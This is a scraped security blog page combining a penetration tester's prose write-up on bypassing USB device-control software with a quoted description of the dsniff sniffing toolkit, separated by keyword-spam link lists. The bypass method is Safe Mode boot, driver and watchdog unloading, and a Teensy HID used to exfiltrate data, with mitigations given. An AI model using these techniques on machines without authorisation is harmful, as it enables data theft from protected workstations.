    This is it for the first blog..  Other topics  will be discussed later, such as attacking devices in a blackbox assessment and configuring your own key fobs. Rolling code devices and bypassing their protections. Monitoring and attacking car components. If you have anything to add or would like to help out.. Feel free to comment and add to the discussion. 
    Related links

    0 留言

    Tricks To Bypass Device Control Protection Solutions

    Preface

    As I wrote in a previous blog post, I had an engagement last year where my task was to exfiltrate data from a workstation on some sort of storage media. The twist in that task was Lumension Sanctuary Device Control, and the version was 4.3.2, but I am not sure how newer version work and this seems to be a more general problem with device control solution, for example with Symantec products.

    But what is a device control solution? In short, they audit I/O device use and block the attempts to use unauthorized devices. This includes hardware such as USB, PS/2, FireWire, CD/DVD so basically every I/O port of a computer. In my opinion, these are pretty good things and they offer a better looking solution than de-soldering the I/O ports from the motherboards or hot-gluing them, but on the other hand, they can be bypassed.

    Bypass

    OK, so what is the problem? Well the way these device control solutions work is that they load a few kernel drivers to monitor the physical ports of the machine. However... when you boot up the protected computer in safe mode, depending on the device control solution software, some of these drivers are not loaded (or if you are lucky, none of those modules will be loaded...) and this opens up the possibility to exfiltrate data.

    In theory, if you have admin (SYSTEM maybe?) privileges, you might as well try to unload the kernel drivers. Just do not forget, that these device control solutions also have a watchdog process, that checks the driver and automatically loads it back if it is unloaded, so look for that process and stop or suspend it first.

    In my case with the Lumension Sanctuary Device Control, I have found that when I boot the Workstation protected by the device control software in Safe Mode where, software's key logger protection module is not running... so I was still unable to use a USB stick, or a storage media, but I could plug in a keyboard for example...hmmm :)

    As some of you probably already figured it out, now it is possible to use a pre-programmed USB HID, for example a Teensy! : ) I know about three different project, that uses this trick like these two mentioned in a Hackaday post, or this one. Unfortunately, the site ob-security.info no longer seems to be available (well, at least it is no longer related to infosec :D ), but you can still find the blog post and the files with the Wayback Machine.

    For the hardware part, the wiring of the Teensy and the SD card adaptor is the same as I showed in the post on Making a USB flash drive HW Trojan or in the Binary deployment with VBScript, PowerShell or .Net csc.exe compiler post, so I will not copy it here again.

    I have to note here that there are other ways to bypass these device control solutions, like the method what Dr. Phil Polstra did with the USB Impersonator, which is basically looks for an authorized device VID/PID and then  impersonates that devices with the VID/PID.

    Mitigation

    Most probably, you will not need safe mode for the users, so you can just disable it... I mean, it is not that easy, but luckily there is a great blog post on how to do that. BTW, the first page of the post is for Windows XP, but you are not using XP anymore, aren't you? ;)

    Alternatively, as I mentioned at the beginning, you might as well use some physical countermeasure (de-soldering/hot-gluing ports). That shit is ugly, but it kinda works.

    Conclusion

    Next time you will face a device control solution, try out these tricks, maybe they will work, and if they do, well, that's a lot of fun. :)

    But don't get me wrong, these device control solutions and similar countermeasures are a good thing and you should use something like this! I know that they make doing business a bit harder as you are not able to plugin whatever USB stick you want, but if you buy a pile of hardware encrypted flash drives, and only allow  those to be plugged in, you are doing it right ;)

    Related articles


    1. Hacking Growth
    2. Pentest Bootcamp
    3. Pentestmonkey
    4. Pentest Methodology
    5. Hacking Meaning
    6. Pentest Process
    7. Pentestlab
    8. Pentestmonkey Sql Injection
    9. Hacker Wifi Password
    10. Hacker Code
    11. Pentesting
    12. Hacker On Computer
    13. Pentest Hardware
    14. Pentest Tools
    15. Pentest Lab Setup
    16. Pentest Open Source

    0 留言

    DSniff


    "dsniff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.). arpspoof, dnsspoof, and macof facilitate the interception of network traffic normally unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm implement active monkey-in-the-middle attacks against redirected SSH and HTTPS sessions by exploiting weak bindings in ad-hoc PKI." read more...

    Website: http://www.monkey.org/~dugsong/dsniff/

    Continue reading

    1. Hacking Ethics
    2. Pentest Certification
    3. Pentest+ Vs Oscp
    4. Pentest Practice Sites
    5. Hacker Computer
    6. Pentesting Tools
    7. Pentest Gear
    8. Pentest Practice Sites
    9. Pentesting
    10. Pentest As A Service
    11. Pentest Cyber Security
    12. Pentest Linux
    13. Pentest Partners
    14. Hacker Tools
    15. Pentest Software
    16. Hacker Tools
    17. Hacker Typer
    18. Hacking Browser
    19. Pentest Lab Setup
    20. Pentestmonkey Sql Injection

    0 留言